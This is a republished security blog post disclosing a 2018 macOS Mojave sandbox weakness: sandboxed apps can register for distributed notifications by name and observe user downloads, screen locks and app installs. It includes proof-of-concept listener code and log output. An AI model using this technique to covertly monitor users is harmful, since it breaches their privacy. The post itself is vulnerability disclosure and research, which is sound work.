Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

Mojave's Sandbox is Leaky

[0day] Mojave's Sandbox is Leaky

sidestepping a poorly implemented protection, has significant privacy implications!

November 29, 2018

Our research, tools, and writing, are supported by “Friends of Objective-See”

Today’s blog post is brought to you by:

Mojave's Sandbox is Leaky
Mojave's Sandbox is Leaky
become a friend!

In this short blog post, we’ll detail a trivially exploitable privacy issue that despite Apple’s (rather feeble) attempts to prevent, allows sandboxed applications to surreptitiously spy on unsuspecting users - even on the latest version of macOS!


This issue was originally disclosed (by yours truly) at Objective-See’s Mac Security Conference: “Objective by the Sea” . This blog post dives more deeply into the technical details of the flaw.

Slides from the talk: “Protecting the Garden of Eden”


From a security and privacy point of view, sandboxes are an excellent idea. In short, within the constraints of a properly designed and implemented sandbox, an application is largely limited in a variety of ways. For example, amongst other constraints, it cannot arbitrarily access user files (i.e. your pictures or downloads), capture keystrokes, or subvert the OS. Hooray!

Of course, any sandbox implementation will have its flaws, allowing malicious applications to either “escape” the sandbox completely, or while still in the sandbox, bypass some specific sandbox constraint. In this post, we’re dealing with the latter, specifically side-stepping Apple’s sandbox constraints on “distributed notifications” in order to gain valuable insight into the environment outside the sandbox and monitor (some) private user and OS activities.

OSX/macOS allows applications or system components to broadcast notifications “ across task boundaries. ” Aptly termed “distributed notifications” such events are broadcast by means of the DistributedNotificationCenter class. Described in the distributed notification class documentation , Apple states this class is a “ notification dispatch mechanism that enables the broadcast of notifications across task boundaries. “

More specifically:

“ A DistributedNotificationCenter instance broadcasts NSNotification objects to objects in other tasks that have registered for the notification with their task’s default distributed notification center. “

As we’ll shortly see, at any given time a myriad of (interesting) notifications are globally broadcast by apps, programs, and system daemons. Tapping into this steam, by registering a global distributed notification listener reveals a lot about the “goings on” of the system, as well as what the user is up to!

To globally register to receive all distributed notification, simply invoke the CFNotificationCenterAddObserver function (shown below) with 'nil' for the 'name' parameter. The callback specified will be invoked anytime a distributed notification is broadcast by anyone.

Mojave's Sandbox is Leaky

Here in code, we register a global distributed notification listener (note: the name parameter is nil , to specify we want to listen for all notifications):

//callback // invoked anytime anybody broadcasts a notification static void callback(CFNotificationCenterRef center, void *observer, CFStringRef name_cf, const void *object, CFDictionaryRef userInfo) { NSLog(@"event: %@", (__bridge NSString*)name_cf); NSLog(@"user info: %@", userInfo); NSLog(@"object: %@", (__bridge id)object); return; } int main(int argc, const char * argv[]) { //register for distributed notifications // note: as name is nil, this means "all" CFNotificationCenterAddObserver(CFNotificationCenterGetDistributedCenter(), nil, callback, nil, nil, CFNotificationSuspensionBehaviorDeliverImmediately); [[NSRunLoop currentRunLoop] run]; return 0; }


One can also globally register to receive all distributed notifications via a NSDistributedNotificationCenter method:

- (void)addObserver:(id)observer selector:(SEL)selector name:(NSNotificationName)name object:(NSString *)object suspensionBehavior:(NSNotificationSuspensionBehavior)suspensionBehavior;

If we compile and execute the following code, we can begin observing a variety of system events, such as screen locks/unlocks, screen saver start/stop, bluetooth activity, network activity, and user file downloads:

$ ./sniffsniff 2018-11-19 20:54:08.244963-1000 sniffsniff[50098:11034854] event: com.apple.screenIsLocked 2018-11-19 20:54:08.244994-1000 sniffsniff[50098:11034854] user info: (null) 2018-11-19 20:54:08.245039-1000 sniffsniff[50098:11034854] object: 501 2018-11-19 20:54:11.150683-1000 sniffsniff[50098:11034854] event: com.apple.screenIsUnlocked 2018-11-19 20:54:11.150727-1000 sniffsniff[50098:11034854] user info: (null) 2018-11-19 20:54:11.150751-1000 sniffsniff[50098:11034854] object: 501 2018-11-19 20:55:00.033848-1000 sniffsniff[50098:11034854] event: com.apple.screensaver.didlaunch 2018-11-19 20:55:00.033882-1000 sniffsniff[50098:11034854] user info: (null) 2018-11-19 20:55:00.033898-1000 sniffsniff[50098:11034854] object: (null) 2018-11-19 20:55:00.414571-1000 sniffsniff[50098:11034854] event: com.apple.screensaver.didstart 2018-11-19 20:55:00.414663-1000 sniffsniff[50098:11034854] user info: { runFromPref = 0; } 2018-11-19 20:55:02.744793-1000 sniffsniff[50098:11034854] event: com.apple.screensaver.willstop 2018-11-19 20:55:02.744831-1000 sniffsniff[50098:11034854] user info: (null) 2018-11-19 20:55:02.744843-1000 sniffsniff[50098:11034854] object: (null) 2018-11-19 20:55:02.760187-1000 sniffsniff[50098:11034854] event: com.apple.screensaver.didstop 2018-11-19 20:55:02.760292-1000 sniffsniff[50098:11034854] user info: { runFromPref = 0; } 2018-11-19 20:55:02.760312-1000 sniffsniff[50098:11034854] object: (null) 2018-11-19 20:55:15.733963-1000 sniffsniff[50098:11034854] event: IOBluetoothDeviceDisableScan 2018-11-19 20:55:15.733993-1000 sniffsniff[50098:11034854] user info: (null) 2018-11-19 20:55:15.734011-1000 sniffsniff[50098:11034854] object: (null) 2018-11-19 20:56:15.720241-1000 sniffsniff[50098:11034854] event: com.apple.CFNetwork.CookiesChanged.2e3972d12eadbbbef05326fe6f5f0c3e1c05bdcc 2018-11-19 20:56:15.720292-1000 sniffsniff[50098:11034854] user info: (null) 2018-11-19 20:56:15.720307-1000 sniffsniff[50098:11034854] object: (null) 2018-11-19 21:01:12.870597-1000 sniffsniff[50098:11034854] event: com.apple.DownloadFileFinished 2018-11-19 21:01:12.870626-1000 sniffsniff[50098:11034854] user info: (null) 2018-11-19 21:01:12.870641-1000 sniffsniff[50098:11034854] object: /Users/patrick/Downloads/LuLu_1.1.2.zip


The value of the ‘CFDictionaryRef userInfo’ and ‘const void *object’ parameters is dependent on the notification. For example for the ‘com.apple.DownloadFileFinished’ notification, the ‘object’ parameter contains the name of the file that was downloaded.

By design, no special permissions are needed to register such a global listener - and this is all well and good. However, in the context of sandbox, obviously such notifications should not be delivered (to a global listener originating the sandbox) as this would, at least from a privacy point of view, clearly violate the foundational concept of sandbox isolation.

Distributed Notifications in the Sandbox!?
Mojave's Sandbox is Leaky

Apple clearly (and correctly), realized that from a privacy (and also possibly a security) point of view, a sandboxed application should not be able globally capture distributed notification. As such, if a sandboxed application attempts to globally register for distributed notifications, the OS sandbox will rather sternly block this action:

$ ./sniffsniff 2018-11-19 21:21:41.202420-1000 sniffsniff[50388:11098618] *** attempt to register for all distributed notifications thwarted by sandboxing. Date/Time: Mon Nov 19 21:21:41 2018 OS Version: 18B75 Application: sniffsniff Backtrace: 0 CoreFoundation 0x00007fff3c082c46 __CFGenerateReport + 197 1 CoreFoundation 0x00007fff3c015f43 __CFXNotificationRegisterObserver + 1035 2 CoreFoundation 0x00007fff3bef1af2 _CFXNotificationRegisterObserver + 14 3 Foundation 0x00007fff3e28845a -[NSDistributedNotificationCenter addObserver:selector:name:object:suspensionBehavior:] + 233 4 Foundation 0x00007fff3e28836b -[NSDistributedNotificationCenter addObserver:selector:name:object:] + 29 5 sniffsniff 0x000000010000125e -[AppDelegate applicationDidFinishLaunching:] + 142

Ok so Apple’s macOS sandbox clearly seeks to prevent malicious applications (running in the sandbox) from globally sniffing distributed notifications: *** attempt to register for all distributed notifications thwarted by sandboxing

All is good?

Unfortunately, not at all! Contrary to Apple’s pontifications, it seems security at Cupertino is often approached rather lackadaisically. In other words, it’s often not really thought through. Their attempts to block the receiving of distributed notifications (globally) from within the sandbox, is a perfect example of this…

Globally Sniffing Distributed Notifications in the macOS Sandbox

A fully patched Mojave box (and likely those running any other versions of macOS) fails to adequately prevent sandboxed applications from receiving (possibly sensitive) distributed notifications. Though Apple prevents such an application from registering to receive distributed notifications globally, (passing in 'nil' for the 'name' parameter), there is nothing preventing a sandboxed application from registration to receive any notification by name (e.g. com.apple.DownloadFileFinished ). Thus, a malicious application can trivially circumvent Apple’s (weak) sandboxing attempts, by simply registering any (and all?) distributed notifications directly by name. Though this takes a few extra lines of code, the affect is that any application can cumulatively register to receive (capture) all distributed notifications - even within the sandbox!

Mojave's Sandbox is Leaky

Let’s look at an example. Say a malicious application wants to monitor user downloads. When executed in the context of the macOS sandbox, normally this is something that would be strictly prohibited - and rightly so! By definition, a sandbox seeks to provide an isolated environment, protecting both the user’s security and privacy.

However, by registering to receive the com.apple.DownloadFileFinished distributed notification by name, the (sandboxed) application can still surreptitiously monitor all files the user downloads:

First, let’s be sure to sandbox our malicious application ( sniffsniff ):
Mojave's Sandbox is Leaky

Then, write some code to listen for the com.apple.DownloadFileFinished distributed notification:

static void callback(CFNotificationCenterRef center, void *observer, CFStringRef name_cf, const void *object, CFDictionaryRef userInfo) { NSLog(@"event: %@", (__bridge NSString*)name_cf); NSLog(@"user info: %@", userInfo); NSLog(@"object: %@", (__bridge id)object); return; } - (void)applicationDidFinishLaunching:(NSNotification *)aNotification { NSString* name = @"com.apple.DownloadFileFinished"; CFNotificationCenterAddObserver(CFNotificationCenterGetDistributedCenter(), nil, callback, (CFStringRef)name, nil, CFNotificationSuspensionBehaviorDeliverImmediately); }

Running sniffsniff from within the macOS sandbox, even on a fully patched Mojave box, rather surprisingly allows us to surreptitiously monitor the user’s downloads:

./sniffsniff 2018-11-22 12:50:38.175 sniffsniff[93641:15431613] event: com.apple.DownloadFileFinished 2018-11-22 12:50:38.175 sniffsniff[93641:15431613] user info: (null) 2018-11-22 12:50:38.175 sniffsniff[93641:15431613] object: /Users/user/Downloads/thePeeTapes.mov


The ‘com.apple.DownloadFileFinished’ distributed notification appears to only be broadcast for files downloaded from a user’s browser. However, this includes those downloaded in incognito mode!

Now, it’s important to note that though we can now monitor user downloads from within the sandbox, we can’t actually read the contents of such files due to other sandboxing rules. However, file names themselves, can be rather implicative…

As we must register for each notification by name (in order to circumvent the sandbox protections), a valid question is how to determine the names of notification of interest (i.e. 'com.apple.DownloadFileFinished' , etc.) Thought there may be a more comprehensive solution, I choose to simply install a global listener for all distributed notifications (of course this had to be done outside the sandbox), then simply observe what notification names. Returning to the sandbox, we can then register for any notifications of interest (by name!).

Thought we could utilize the code mentioned earlier in this post, I instead made use of the powerful monitor capabilities of Digita Security ’s (soon to be released) MonitorKit . As this framework contains a monitor to globally observe distributed notifications, in a few lines of code we can activate said monitor and begin to receive the names of all broadcast distributed notifications:

import Cocoa import MonitorKit @NSApplicationMain class AppDelegate: NSObject, NSApplicationDelegate { func applicationDidFinishLaunching(_ aNotification: Notification) { //call into MonitorKit // enable 'distributed notifications' monitor let monitor = DistributedNotifcationsMonitor() monitor.start() { event in print("event: ", event.name.rawValue) if let userInfo = event.userInfo { print("event info: ", userInfo) } if let object = event.object { print("event object: ", object) } } } }


OMG Swift code!? …I know

Executing this code reveals some interesting distributed notifications (that a malicious sandboxed application could register to observe):

Newly Installed Applications:


event info: [AnyHashable("bundleIDs"): <__NSArrayM 0x600000c57bd0>( com.objective-see.KnockKnock)

Opened Source Code Files:


Viewing all articles
Browse latest Browse all 12749

Latest Images

Trending Articles

Latest Images